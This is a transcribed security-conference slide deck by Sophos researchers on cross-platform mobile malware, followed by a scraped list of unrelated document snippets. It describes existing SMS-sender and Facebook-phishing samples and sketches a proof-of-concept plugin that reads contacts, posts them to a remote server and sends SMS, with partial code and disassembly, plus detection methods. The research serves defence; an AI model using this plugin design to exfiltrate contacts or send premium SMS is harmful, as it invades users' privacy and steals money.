CROSS-PLATFORM MOBILE MALWARE - WRITE ONCE INFECT EVERYWHERE. William Lee & Xinran Wu {william.lee, xinran.wu}@sophos.com.
|
|
|
- Barbra Bruce
- 10 years ago
- Views:
Transcription
1 CROSS-PLATFORM MOBILE MALWARE - WRITE ONCE INFECT EVERYWHERE William Lee & Xinran Wu {william.lee, xinran.wu}@sophos.com.au
2 Agenda 1. Cross-Platform Frameworks 2. Existing malware 3. App Package Structure 4. POC: Cross-Platform malware 5. Detection 6. Conclusion 2
3 3 1. Cross-Platform Frameworks
4 Mobile Apps and Dev Tools Native Apps Android: Android Studio(Java) ios: Xcode(Objective-C, Swift) Cross-platform Apps Game frameworks Unity(C#), Cocos2d(C++), Marmalade(C++), Construct2(JS) Web-based frameworks PhoneGap(JS), Titanium(JS) General purpose frameworks Xamarin(C#) 4
5 Why Cross-Platform FW(Framework)? Benefits App authors: Write once Run everywhere Malware authors: Write once Infect everywhere App statistics unity phonegap cocos2d xamarin 0 Jan-2015 Feb-2015 Mar-2015 Apr-2015 May-2015 Jun
6 Popular Cross-Platform FWs Unity 2D/3D games with Mono(.NET framework) Cocos2d 2D games with C++ PhoneGap Mobile web apps with HTML/JS Xamarin Business apps with Mono FW MonoGame Games with Mono FW 6
7 7 2. Existing Malware
8 Existing FW Samples Android sample statistics Total Malware PUA Phonegap 21, (1.2%) 230 (1.0%) Unity 43, (0.4%) 3574 (8.2%) Cocos2d (0.4%) 337 (9.9%) Xamarin (1.7%) Families SMS senders Fake installers Advertisement libraries for PUA 8
9 Existing PhoneGap Malware Andr/Cova family: SMS sender Load a html page into a WebView Display a button with text Agree to download and install Send SMS messages to numbers defined in index.html 9 public class MainActivity extends DroidGap { public void oncreate(bundle parambundle){ parambundle = new WecAppInterface(this, this.appview); this.appview.addjavascriptinterface(parambundle, "Android"); super.loadurl("file:///android_asset/www/index.html"); } //from index.html function download() { var cp1 = new Array(); cp1[0] = sms_1_15k; //encoded phone number info cp1[1] = sms_1_10k; Android.ssff(cp1, nd1, cp2, nd2); //sending SMS code }
10 New Mono FW Malware Andr/Spy: Popular Games on Google Play Cowboy Adventure 500,000 1,000,000 installs from Google Play Jump Chess Images from: 10
11 11 3. App Package Structure
12 Native Android/iOS App s Structure Android ios Items Android ios Certificate CERT.RSA Embedded.mobileprovision Signed signature CERT.SF CodeResources Config file AndroidManifest.xml Info.plist Resources resources.arsc res/ folder assets/ folder Root folder Base.lproj/ folder Executables classes.dex lib/ folder HelloWorld 12
13 Cross-Platform FW Apps 13
14 Web-based FW - PhoneGap Items Android ios HTML index.html index.html JavaScript index.js index.js Native code classes.dex Main binary 14
15 Web-based FW - Titanium Items Android ios JavaScript index.js ApplicationRouting class Native code classes.dex Main binary 15
16 .NET-based FW - Unity Items Android ios C# code Assembly- CSharp.dll.Net libraries System.dll System.core.dll Assembly- CSharp.dll System.dll System.core.dll Native code classes.dex Main binary 16
17 .NET-based FW - Xamarin Items Android ios C# code App.dll NA Native code classes.dex Main binary 17
18 C++-based FW - Cocos2d Items Android ios C++ app code libcocos2dcpp.so NA Native code classes.dex Main binary 18
19 19 4. POC: Cross-Platform Malware
20 POC FW Malware Malicious activities Collect and send contacts info Send SMS Plugin code class AppAd { public String readcontacts(); public void sendsms(string number); } 20
21 Web-based FW Titanium (1) FW code //index.js var appad = require('org.ad.appad') var contactinfo = appad.readcontacts(); sendhttp(' contactinfo); appad.sendsms('456789'); Package structure 21
22 Web-based FW Titanium (2) Android native code <plugin wrapper so code> org::ad::appadmodule::readcontacts() org::ad::appadmodule::sendsms() <classes.dex code>.class public AppAd.method public static readcontacts()string.registers 2 return-object v0.end method.method public static sendsms(string)v.registers 4 return-void.end method 22
23 Web-based FW Titanium (3) ios native code <plugin wrapper class code> ; ComAppadModule - (id)readcontacts LDR R1, [R0] ; "readcontacts" LDR R0, [R2] ; _OBJC_CLASS_$_AppAd B.W _objc_msgsend$shim ; ComAppadModule - (void)sendsms:(id) LDR R1, [R0] ; "sendsms:" LDR R0, [R3] ; _OBJC_CLASS_$_AppAd B.W _objc_msgsend$shim <plugin native class code> ; AppAd + (id)readcontacts MOV R0, #(selref_readcontactsinternal - 0xA8CE) MOV R2, #(classref_appad - 0xA8D0) ADD R0, PC ; selref_readcontactsinternal ADD R2, PC ; classref_appad LDR R1, [R0] ; "readcontactsinternal" LDR R0, [R2] ; _OBJC_CLASS_$_AppAd POP {R7,LR} B.W _objc_msgsend$shim ; AppAd + (void)sendsms:(id) MOV R0, #(selref_sendsmsinternal_ - 0xA90C) MOV R2, #(classref_appad - 0xA90E) ADD R0, PC ; selref_sendsmsinternal_ ADD R2, PC ; classref_appad LDR R1, [R0] ; "sendsmsinternal:" LDR R0, [R2] ; _OBJC_CLASS_$_AppAd MOV R2, R4 BLX _objc_msgsend MOV R0, R4 <ApplicationRouting class code> ; ApplicationRouting + (id)resolveappasset:(id) MOV R0, #(cfstr_alloycontrol_1-0x78c80) ; "alloy/controllers/index_js" ADD R0, PC ; "alloy/controllers/index_js" ADD R2, PC ; +[ApplicationRouting resolveappasset:].data MOV R3, #0xDC90 23
24 .NET-based FW Unity (1) Android package structure ios package structure 24
25 .NET-based FW Unity (2) FW code.module Assembly-CSharp.dll.class public auto ansi SampleApp.method private instance void rundemo() { call string AppAdUtil::readContacts() stloc.0 ldarg.0 ldstr awww_ad_server // " ldloc.0 call instance void SampleApp::sendHttp(string server, string info) ldstr a // "456789" call void AppAdUtil::sendSMS(string) ret } 25
26 C++-based FW Cocos2d (1) Android package structure lib/libcocos2dcpp.so ios package structure No additional files 26
27 C++-based FW Cocos2d (2) Android native code <lib/libcocos2dcpp.so> ; _DWORD HelloWorld::runDemo(HelloWorld * hidden this) STR R0, [R11,#var_10] BL _ZN12AppAdWrapper12readContactsEv ; AppAdWrapper::readContacts(void) STR R3, [R11,#var_8] LDR R3, =(awww_ad_server - 0x2A5FF0) ADD R3, PC, R3 ; " LDR R2, [R11,#var_8] BL _ZN10HelloWorld8sendHttpEPcS0_ ; HelloWorld::sendHttp(char *,char *) LDR R3, =(a x2a6004) ADD R3, PC, R3 ; "456789" BL _ZN12AppAdWrapper7sendSMSEPKc ; AppAdWrapper::sendSMS(char const*) ios native code <plugin ios native code> org::ad::appadmodule::readcontacts() org::ad::appadmodule::sendsms() 27
28 28 5. Detection
29 Analysis tools Static analysis Decompilers for Dex,.NET Dll and Native binaries can be used for code analysis. Runtime analysis Sand boxing tools such as Taintroid, Cuckoo-droid can monitor runtime behaviors. 29
30 Detection Framework type Check the platform layer s FW specific components from Native code Unity/Mono have classes such as com.unity.* Phonegap have classes such as org.apache.cordova.* Detection Check the FW layer s payload component Unity/Mono check the app dll files 30
31 Cowboy Sample: App Behavior App Flow Contact their server to get config info in JSON format. Display a fake Facebook login UI. Collect user s account info and check the status with Facebook. If successful, Send the collected info to their server. 31 { "LoginEnable":"1", "UrlHomePage":" "UrlLogin":" "LogoUrl":" facebook-icon.png", "UrlToSubmit":" "CC1":"c_user", "CC2":"xs", "CC3":"csm", "CC4":"datr", "PointLogin": }
32 Cowboy Sample: App Structure AndroidManifest.xml Activities Fake Facebook activity Game activity Permissions INTERNET ios version Possible scenario /assemblies folder CowboyAdventure.dll TinkerAccountLibrary.dll Mono.Android.dll Mono.CSharp.dll MonoGame.Framework.dll mscorlib.dll System.Core.dll System.dll System.Net.Http.dll System.ServiceModel.dll /lib folder libmonodroid.so libmonosgen-2.0.so 32
33 Cowboy Sample: App Code Java Activity Class class HomeActivity extends Activity { TypeManager.Activate("CowboyAdventure.HomeActivity, CowboyAdventure, Version= , Culture=neutral, PublicKeyToken=null", "", this, new Object[0]);.NET Activity Class 33
34 Cowboy Sample: Detection Framework type check MonoGame classes info.net payload check TinkerAccount dll info 34
35 35 6. Conclusion
36 Conclusion Increasing number of Cross-platform FW apps. Popular games on Google Play turned out to be new Mono FW malware. Cross-platform Malware can be implemented through plug-in architecture. Window 10 Mobile s Bridge supports Android/iOS app. The understanding of App Package Structure is the key to detect new Malware. 36
37 Q&A Sophos Ltd. All rights reserved.
The OWASP Foundation http://www.owasp.org
Android reverse engineering: understanding third-party applications OWASP EU Tour 2013 June 5, 2013. Bucharest (Romania) Vicente Aguilera Díaz OWASP Spain Chapter Leader Co-founder of Internet Security
BLACK HAT ASIA Singapore, March 2014
BLACK HAT ASIA Singapore, March 2014 ME? Simon Roses Femerling Founder & CEO, VULNEX www.vulnex.com Blog: www.simonroses.com @simonroses @vulnexsl Former Microsoft, PwC, @Stake DARPA Cyber Fast Track award
Porting Existing PhoneGap Apps to Tizen OS - Development Story
Porting Existing PhoneGap Apps to Tizen OS - Development Story Anil Kumar Yanamandra Thomas Mitchell ProKarma About ProKarma Who am I? Anil Kumar Yanamandra Mobile Architect & Head CoE for Mobility @ProKarma
WebView addjavascriptinterface Remote Code Execution 23/09/2013
MWR InfoSecurity Advisory WebView addjavascriptinterface Remote Code Execution 23/09/2013 Package Name Date Affected Versions Google Android Webkit WebView 23/09/2013 All Android applications built with
Hacking your Droid ADITYA GUPTA
Hacking your Droid ADITYA GUPTA adityagupta1991 [at] gmail [dot] com facebook[dot]com/aditya1391 Twitter : @adi1391 INTRODUCTION After the recent developments in the smart phones, they are no longer used
BASIC COMPONENTS. There are 3 basic components in every Apache Cordova project:
Apache Cordova is a open-source mobile development framework. It allows you to use standard web technologies such as HTML5, CSS3 and JavaScript for cross-platform development, avoiding each mobile platform
Development Techniques for Native/Hybrid Tizen Apps. Presented by Kirill Kruchinkin
Development Techniques for Native/Hybrid Tizen Apps Presented by Kirill Kruchinkin Agenda Introduction and Definitions Practices Case Studies 2 Introduction & Definitions 2 App Types Browser Apps Installable
Cross-Platform Tools
Cross-Platform Tools Build once and Run Everywhere Alexey Karpik Web Platform Developer at ALTOROS Action plan Current mobile platforms overview Main groups of cross-platform tools Examples of the usage
... Introduction... 17. ... Acknowledgments... 19
... Introduction... 17... Acknowledgments... 19 PART I... Getting Started... 21 1... Introduction to Mobile App Development... 23 1.1... The Mobile Market and SAP... 23 1.1.1... Growth of Smart Devices...
HybriDroid: Analysis Framework for Android Hybrid Applications
HybriDroid: Analysis Framework for Android Hybrid Applications Sungho Lee, Julian Dolby, Sukyoung Ryu Programming Language Research Group KAIST June 13, 2015 Sungho Lee, Julian Dolby, Sukyoung Ryu HybriDroid:
Develop a Native App (ios and Android) for a Drupal Website without Learning Objective-C or Java. Drupaldelphia 2014 By Joe Roberts
Develop a Native App (ios and Android) for a Drupal Website without Learning Objective-C or Java Drupaldelphia 2014 By Joe Roberts Agenda What is DrupalGap and PhoneGap? How to setup your Drupal website
place/business fetch details, 184 185 removefromfavorite () function, 189 search button handler bind, 190 191 B BlackBerry build environment
Index A addtofavorite() method, 175 177, 188 189 Android ADT Plugin for Eclipse installation, 22 24 application, GWT Build Path, 244 device info, 247 directory structure, 244, 245 Eclipse classpath, 244
Building cross-platform Modern Apps: the Design perspective. Amit Bahree, Senior Director, Avanade @bahree, http://desigeek.com
Building cross-platform Modern Apps: the Design perspective Amit Bahree, Senior Director, Avanade @bahree, http://desigeek.com Agenda Mobile Platforms CoIT Development Options Xamarin Architecture Patterns
the cross platform mobile apps dream Click to edit Master title style Click to edit Master text styles Third level Fourth level» Fifth level
Click to edit Master title style Click to edit Master text styles The Second nightmare level behind Third level the cross platform Fourth level» Fifth level mobile apps dream Marco Grassi @marcograss [email protected]
HYBRID APPLICATION DEVELOPMENT IN PHONEGAP USING UI TOOLKITS
HYBRID APPLICATION DEVELOPMENT IN PHONEGAP USING UI TOOLKITS RAJESH KUMAR Technical Lead, Aricent PUNEET INDER KAUR Senior Software Engineer, Aricent HYBRID APPLICATION DEVELOPMENT IN PHONEGAP USING UI
Multi-Platform Mobile Application Development Analysis. Lisandro Delía Nicolás Galdámez Pablo Thomas Leonardo Corbalán Patricia Pesado
Multi-Platform Mobile Application Development Analysis Lisandro Delía Nicolás Galdámez Pablo Thomas Leonardo Corbalán Patricia Pesado Agenda 1. 2. 3. 4. 5. Introduction Multi-Platform Mobile Applications
Advertiser Campaign SDK Your How-to Guide
Advertiser Campaign SDK Your How-to Guide Using Leadbolt Advertiser Campaign SDK with Android Apps Version: Adv2.03 Copyright 2012 Leadbolt All rights reserved Disclaimer This document is provided as-is.
Smart home appliance security and malware
Smart home appliance security and malware om Jeong wook (Matt) Oh HP Security Research, September 2014 Why Smart TV? The most popular smart device in real life TVs are everywhere If you bought a new TV
Reach 4 million Unity developers
Reach 4 million Unity developers with your Android library Vitaliy Zasadnyy Senior Unity Dev @ GetSocial Manager @ GDG Lviv Ankara Android Dev Days May 11-12, 2015 Why Unity? Daily Users 0 225 M 450 M
BELATRIX SOFTWARE. Why you should be moving to mobile Cross Platform Development? Introduction
BELATRIX SOFTWARE Why you should be moving to mobile Cross Platform Development? Introduction If you re thinking of going mobile, delivering online services or updating your existing app, you know that
Lecture 1 Introduction to Android
These slides are by Dr. Jaerock Kwon at. The original URL is http://kettering.jrkwon.com/sites/default/files/2011-2/ce-491/lecture/alecture-01.pdf so please use that instead of pointing to this local copy
Building native mobile apps for Digital Factory
DIGITAL FACTORY 7.0 Building native mobile apps for Digital Factory Rooted in Open Source CMS, Jahia s Digital Industrialization paradigm is about streamlining Enterprise digital projects across channels
Bridging the Gap: from a Web App to a Mobile Device App
Bridging the Gap: from a Web App to a Mobile Device App or, so how does this PhoneGap* stuff work? *Other names and brands may be claimed as the property of others. 1 Users Want Mobile Apps, Not Mobile
Introduction to PhoneGap
Web development for mobile platforms Master on Free Software / August 2012 Outline About PhoneGap 1 About PhoneGap 2 Development environment First PhoneGap application PhoneGap API overview Building PhoneGap
Introduction to Android
Introduction to Android 26 October 2015 Lecture 1 26 October 2015 SE 435: Development in the Android Environment 1 Topics for Today What is Android? Terminology and Technical Terms Ownership, Distribution,
Dave Haseman, Ross. Hightower. Mobile Development for SAP* ^>. Galileo Press. Bonn. Boston
Dave Haseman, Ross Hightower Mobile Development for SAP* -a ^>. Galileo Press # Bonn Boston Introduction 17 Acknowledgments 19 PART I Getting Started 1.1 The Mobile Market and SAP 23 1.1.1 Growth of Smart
How To Write A File Station In Android.Com (For Free) On A Microsoft Macbook Or Ipad (For A Limited Time) On An Ubuntu 8.1 (For Ubuntu) On Your Computer Or Ipa (For
QtsHttp Java Sample Code for Android Getting Started Build the develop environment QtsHttp Java Sample Code is developed using ADT Bundle for Windows. The ADT (Android Developer Tools) Bundle includes:
the intro for RPG programmers Making mobile app development easier... of KrengelTech by Aaron Bartell [email protected]
the intro for RPG programmers Making mobile app development easier... Copyright Aaron Bartell 2012 by Aaron Bartell of KrengelTech [email protected] Abstract Writing native applications for
Introduce Configurable Mobile App Development. Moxie Zhang Esri R&D Center Beijing
Introduce Configurable Mobile App Development Moxie Zhang Esri R&D Center Beijing Mobile app development starts with many options and there are different approaches to build an app and there are different
OpenCV on Android Platforms
OpenCV on Android Platforms Marco Moltisanti Image Processing Lab http://iplab.dmi.unict.it [email protected] http://www.dmi.unict.it/~moltisanti Outline Intro System setup Write and build an Android
Building Mobile Applications Creating ios applications with jquery Mobile, PhoneGap, and Drupal 7
Building Mobile Applications Creating ios applications with jquery Mobile, PhoneGap, and Drupal 7 Jeff Linwood 1st Chapter, Early Release Introduction... 3 Prerequisites... 3 Introduction to Mobile Apps...
HTTPS hg clone https://bitbucket.org/dsegna/device plugin library SSH hg clone ssh://[email protected]/dsegna/device plugin library
Contents Introduction... 2 Native Android Library... 2 Development Tools... 2 Downloading the Application... 3 Building the Application... 3 A&D... 4 Polytel... 6 Bluetooth Commands... 8 Fitbit and Withings...
What is Android? originally purchased from Android, Inc. in 2005
What is Android? mobile operating system maintained by Google originally purchased from Android, Inc. in 2005 runs on phones, tablets, watches, TVs,... based on Java (dev language) and Linux (kernel) the
Making Mobile a Reality
Making Mobile a Reality KIEFER CONSULTING CALIFORNIA DEPARTMENT OF TECHNOLOGY Introductions Scott Paterson California Department of Technology, Enterprise Solutions Harkeerat Toor Kiefer Consulting, Consultant
Lecture 4 Cross-Platform Development. <lecturer, date>
Lecture 4 Cross-Platform Development Outline Cross-Platform Development PhoneGap Appcelerator Titanium Xamarin References Native Development Represents the baseline for comparisons You
Reversing Android Malware
Reversing Android Malware The Honeynet Project 10 th Annual Workshop ESIEA PARIS.FR 2011-03-21 MAHMUD AB RAHMAN (MyCERT, CyberSecurity Malaysia) Copyright 2011 CyberSecurity Malaysia MYSELF Mahmud Ab Rahman
Sandy. The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis. Garage4Hackers
Sandy The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis About Me! I work as a Researcher for a Global Threat Research firm.! Spoke at the few security
Building the next generation of Mobile Apps with Facebook. Bo Zhang Head of Platform Partner Engineering, APAC
Building the next generation of Mobile Apps with Facebook Bo Zhang Head of Platform Partner Engineering, APAC MOBILE IS EATING THE WORLD 170 Minutes spent daily on Mobile 79% Of people 18-44 have their
Cross-platform mobile development with Visual C++ 2015
Cross-platform mobile development with Visual C++ 2015 Sasha Goldshtein @goldshtn CTO, Sela Group blog.sashag.net App Targeting Spectrum Developer pain exponential jump in complexity, but not in user experience
Enterprise Application Security Workshop Series
Enterprise Application Security Workshop Series Phone 877-697-2434 fax 877-697-2434 www.thesagegrp.com Defending JAVA Applications (3 Days) In The Sage Group s Defending JAVA Applications workshop, participants
How to pick the right development model for your next mobile project
How to pick the right development model for your next mobile project Conny Svensson Managing Architect and Strategist Mobility [email protected] @connysvensson ScanDev 2013 2 2 2 Web vs Native is irrelevant!
Developing and deploying mobile apps
Developing and deploying mobile apps 1 Overview HTML5: write once, run anywhere for developing mobile applications 2 Native app alternative Android -- Java ios -- Objective-C Windows Mobile -- MS tools
Android Packer. facing the challenges, building solutions. Rowland YU. Senior Threat Researcher Virus Bulletin 2014
Android Packer facing the challenges, building solutions Rowland YU Senior Threat Researcher Virus Bulletin 2014 1 What is Android Packer? Android packers are able to encrypt an original classes.dex file,
Mobile Development Frameworks Overview. Understand the pros and cons of using different mobile development frameworks for mobile projects.
Mobile Development Frameworks Overview Understand the pros and cons of using different mobile development frameworks for mobile projects. Mobile Solution Frameworks One of the biggest technological decisions
Defending Behind The Device Mobile Application Risks
Defending Behind The Device Mobile Application Risks Tyler Shields Product Manager and Strategist Veracode, Inc Session ID: MBS-301 Session Classification: Advanced Agenda The What The Problem Mobile Ecosystem
Best practices building multi-platform apps. John Hasthorpe & Josh Venman
Best practices building multi-platform apps John Hasthorpe & Josh Venman It s good to have options Android 4.3 10 Tablet Windows 7 14 Laptop Windows 7 15 Laptop Mac OSX 15 Laptop ios 6 4.6 Phone Android
Developing Cross-Platform.NET Apps with ArcGIS Runtime
Esri Developer Summit March 8 11, 2016 Palm Springs, CA Developing CrossPlatform.NET Apps with ArcGIS Runtime Antti Kajanus Thad Tilton Session overview Crossplatform options Xamarin Why it s a good option
Your guide to building great apps. Upgrade your skills and update your tools to create the next great app
Your guide to building great apps Upgrade your skills and update your tools to create the next great app Introduction Visual Studio 2015 helps you turn great ideas into great business applications. Our
Hybrid Mobile Development: A Cost-Effective Strategy for Building Cross-Platform Mobile Apps
Hybrid Mobile Development: A Cost-Effective Strategy for Building Cross-Platform Mobile Apps Smartphone sales totaled more than 480 million last year, surpassing sales of PCs, according to figures from
How To Use Titanium Studio
Crossplatform Programming Lecture 3 Introduction to Titanium http://dsg.ce.unipr.it/ http://dsg.ce.unipr.it/?q=node/37 [email protected] 2015 Parma Outline Introduction Installation and Configuration
A Way Out of the Mobile App Development Conundrum
A Way Out of the Mobile App Development Conundrum How you can grow your business and improve time-to-market with a cross-platform mobile app strategy Introduction Ask most any business executive for their
Introduction to Oracle Mobile Application Framework Raghu Srinivasan, Director Development Mobile and Cloud Development Tools Oracle
Introduction to Oracle Mobile Application Framework Raghu Srinivasan, Director Development Mobile and Cloud Development Tools Oracle Safe Harbor Statement The following is intended to outline our general
An Analysis of Mobile Application Development Approaches
April 2014, HAPPIEST MINDS TECHNOLOGIES An Analysis of Mobile Application Development Approaches Author Umesh Narayan Gondhali 1 SHARING. MINDFUL. INTEGRITY. LEARNING. EXCELLENCE. SOCIAL RESPONSIBILITY.
Mocean Android SDK Developer Guide
Mocean Android SDK Developer Guide For Android SDK Version 3.2 136 Baxter St, New York, NY 10013 Page 1 Table of Contents Table of Contents... 2 Overview... 3 Section 1 Setup... 3 What changed in 3.2:...
Cross-Platform Development
2 Cross-Platform Development Cross-Platform Development The world of mobile applications has exploded over the past five years. Since 2007 the growth has been staggering with over 1 million apps available
-Android 2.3 is the most used version of Android on the market today with almost 60% of all Android devices running 2.3 Gingerbread -Winner of
1 2 3 -Android 2.3 is the most used version of Android on the market today with almost 60% of all Android devices running 2.3 Gingerbread -Winner of Internet Telephony Magazine s 2012 Product of the Year
Universal Mobile Ads is a plugin for Unreal Engine 4 that enables the MoPub ad mediation system for ios & Android.
Contents 1. License... 3 2. Introduction... 3 3. Supported Ad Formats... 5 a. Banner... 5 b. Interstitial... 5 c. Rewarded Video... 6 4. Supported Ad Networks... 7 5. Getting started... 8 6. Configure
Mobile App Sensor Documentation (English Version)
Mobile App Sensor Documentation (English Version) Mobile App Sensor Documentation (English Version) Version: 1.2.1 Date: 2015-03-25 Author: email: Kantar Media spring [email protected] Content Mobile App
Mobile Learning Application Based On Hybrid Mobile Application Technology Running On Android Smartphone and Blackberry
Mobile Learning Application Based On Hybrid Mobile Application Technology Running On Android Smartphone and Blackberry Djoni Haryadi Setiabudi, Lady Joanne Tjahyana,Winsen Informatics Department Petra
Introduction to IBM Worklight Mobile Platform
Introduction to IBM Worklight Mobile Platform The Worklight Mobile Platform The Worklight Mobile Platform is an open, complete and advanced mobile application platform for HTML5, hybrid and native apps.
MENDIX FOR MOBILE APP DEVELOPMENT WHITE PAPER
MENDIX FOR MOBILE APP DEVELOPMENT WHITE PAPER TABLE OF CONTENTS Market Demand for Enterprise Mobile Mobile App Development Approaches Native Apps Mobile Web Apps Hybrid Apps Mendix Vision for Mobile App
automated acceptance testing of mobile apps
automated acceptance testing of mobile apps Karl Krukow, CTO, LessPainful Goto Aarhus, 2012 [email protected], @karlkrukow 1 Agenda Automated testing for mobile desirable properties for an acceptance
SYST35300 Hybrid Mobile Application Development
SYST35300 Hybrid Mobile Application Development Native, Web and Hybrid applications Hybrid Applications: Frameworks Native, Web and Hybrid Applications Mobile application development is the process by
Building Secure Mobile Applications Using MaaS360 SDK and IBM Worklight
Building Secure Mobile Applications Using MaaS360 SDK and IBM Worklight Karthik Ramgopal/Paras Segal [email protected] [email protected] www.maas360.com Why Mobile Applications are a Must? Rising
Using AllJoyn with Apache Cordova, Python & Node
Using AllJoyn with Apache Cordova, Python & Node Ivan R. Judson, PhD October 2014, Microsoft 13 October 2015 AllSeen Alliance 1 Agenda 1. Background 2. Cordova Plugin 3. Language Bindings Python Bindings
Enable Your Automated Web App Testing by WebDriver. Yugang Fan Intel
Enable Your Automated Web App Testing by WebDriver Yugang Fan Intel Agenda Background Challenges WebDriver BDD Behavior Driven Test Architecture Example WebDriver Based Behavior Driven Test Summary Reference
A Guide to Mobile App Development Platforms
A Guide to Mobile App Development Platforms Choosing a Mobile Development Framework Often a developer has a great idea they can visualize but a gauntlet to run through before they see it climb up the bestseller
ANDROID APPS DEVELOPMENT FOR MOBILE AND TABLET DEVICE (LEVEL I)
ANDROID APPS DEVELOPMENT FOR MOBILE AND TABLET DEVICE (LEVEL I) Who am I? Lo Chi Wing, Peter Lecture 1: Introduction to Android Development Email: [email protected] Facebook: http://www.facebook.com/peterlo111
PRIVACY AWARE ACCESS CONTROL FOR CLOUD-BASED DATA PLATFORMS
www.openi-ict.eu Open-Source, Web-Based, Framework for Integrating Applications with Social Media Services and Personal Cloudlets PRIVACY AWARE ACCESS CONTROL FOR CLOUD-BASED DATA PLATFORMS Open-Source,
Web-based Hybrid Mobile Apps: State of the Practice and Research Opportunities
Web-based Hybrid Mobile Apps: State of the Practice and Research Opportunities Austin, 17 th May 2016 Ivano Malavolta Assistant professor, Vrije Universiteit Amsterdam [email protected] Roadmap Who is
The Suitability of Native Application for University E-Learning Compared to Web-Based Application
The Suitability of Native Application for University E-Learning Compared to Web-Based Application Maya Novia Sari 1, Noor Azian Bt. Mohamad Ali 2 Department of Information Systems, Kulliyyah of Information
CROSS PLATFORM DEVELOPMENT The HTML5 Way
CROSS PLATFORM DEVELOPMENT The HTML5 Way A Whitepaper by Rahul Joshi Business Analysis & Consulting Division Abstract With over half a dozen mobile platforms out there and more in line to come up, it has
Development for Mobile Devices Tools from Intel, Platform of Your Choice!
Development for Mobile Devices Tools from Intel, Platform of Your Choice! Sergey Lunev, Intel Corporation HTML5 Tools Development Manager Optional: Download App Preview Android bit.ly/1i8vegl ios bit.ly/1a3w7bk
Mobile Malware and Spyware: Working Through the Bugs. Detective Cindy Murphy 608-267-8824 [email protected]
Mobile Malware and Spyware: Working Through the Bugs Detective Cindy Murphy 608-267-8824 [email protected] The Mobile Malware Threat 155% increase in mobile malware from 2010 to 2011 614% increase
Mobile App Infrastructure for Cross-Platform Deployment (N11-38)
Mobile App Infrastructure for Cross-Platform Deployment (N11-38) Contents Introduction... 2 Background... 2 Goals and objectives... 3 Technical approaches and frameworks... 4 Key outcomes... 5 Project
Nikolay Baldzhiev. Pop Hariton Str. 11 Sliven, 8800 Bulgaria
Nikolay Baldzhiev CONTACT Pop Hariton Str. 11 Sliven, 8800 Bulgaria E-mail: [email protected] Website: http://webstik.com Phone: +359 884 350 445 OVERVIEW Over the last 12 years, I have developed a wide
CASE STUDY. Enhancing the Patient Experience Harris Mobile Patient Engagement Platform
CASE STUDY Enhancing the Patient Experience Harris Mobile Patient Engagement Platform As a patient, when health issues start cropping up, you sit up and take notice. You get proactive about researching,
QML and JavaScript for Native App Development
Esri Developer Summit March 8 11, 2016 Palm Springs, CA QML and JavaScript for Native App Development Michael Tims Lucas Danzinger Agenda Native apps. Why? Overview of Qt and QML How to use JavaScript
Getting Started Guide for Developing tibbr Apps
Getting Started Guide for Developing tibbr Apps TABLE OF CONTENTS Understanding the tibbr Marketplace... 2 Integrating Apps With tibbr... 2 Developing Apps for tibbr... 2 First Steps... 3 Tutorial 1: Registering
Introduction to Mobile Performance Testing
Introduction to Mobile Performance Testing Shlomi Zalma, Wilson Mar DT3338 at Noon, June 13, 2013 HOL330 in Sands 305 Why performance test mobile apps? Mobile apps are now: how customers locate stores
More details >>> HERE <<<
More details >>> HERE http://pdfo.org/androider/pdx/nasl1325/ Tags: clfp7dm get access to build your own androidâ empire with
Login with Amazon Getting Started Guide for Android. Version 2.0
Getting Started Guide for Android Version 2.0 Login with Amazon: Getting Started Guide for Android Copyright 2016 Amazon.com, Inc., or its affiliates. All rights reserved. Amazon and the Amazon logo are
Protecting against Mobile Attacks
2014-APR-17 Protecting against Mobile Attacks Frankie Wong Security Analyst, HKCERT 1 Image source: http://www.techweekeurope.co.uk/news/mobile-malware-record-mcafee-125537 2 Agenda Attacks moving to mobile
ANDROID APP DEVELOPMENT: AN INTRODUCTION CSCI 5115-9/19/14 HANNAH MILLER
ANDROID APP DEVELOPMENT: AN INTRODUCTION CSCI 5115-9/19/14 HANNAH MILLER DISCLAIMER: Main focus should be on USER INTERFACE DESIGN Development and implementation: Weeks 8-11 Begin thinking about targeted
SOFTWARE DEVELOPMENT. Notes for Startup Founders. March 25 th, 2015
SOFTWARE DEVELOPMENT Notes for Startup Founders March 25 th, 2015 Brian Pham Professor, School of Applied Computing, Sheridan College Adjunct Professor, School of Computer Science, University of Guelph
Xuan (The STACK Box) Application Development. Xuan (The STACK Box) Application Development
Xuan (The STACK Box) Application Development 1 Table of Contents A) Xuan Platform...3 B) Basic Xuan Application Development Process...3 C) Basic UI Only Xuan Application...3 D) Basic UI and Daemon (Python)
DEVELOPING NFC APPS for BLACKBERRY
1 DEVELOPING NFC APPS for BLACKBERRY NFC Forum, Developers Showcase March 21 st, 2014 Larry McDonough, Principal Evangelist @LMCDUNNA 2 CONTENTS Development on BlackBerry BlackBerry NFC Support 5 most
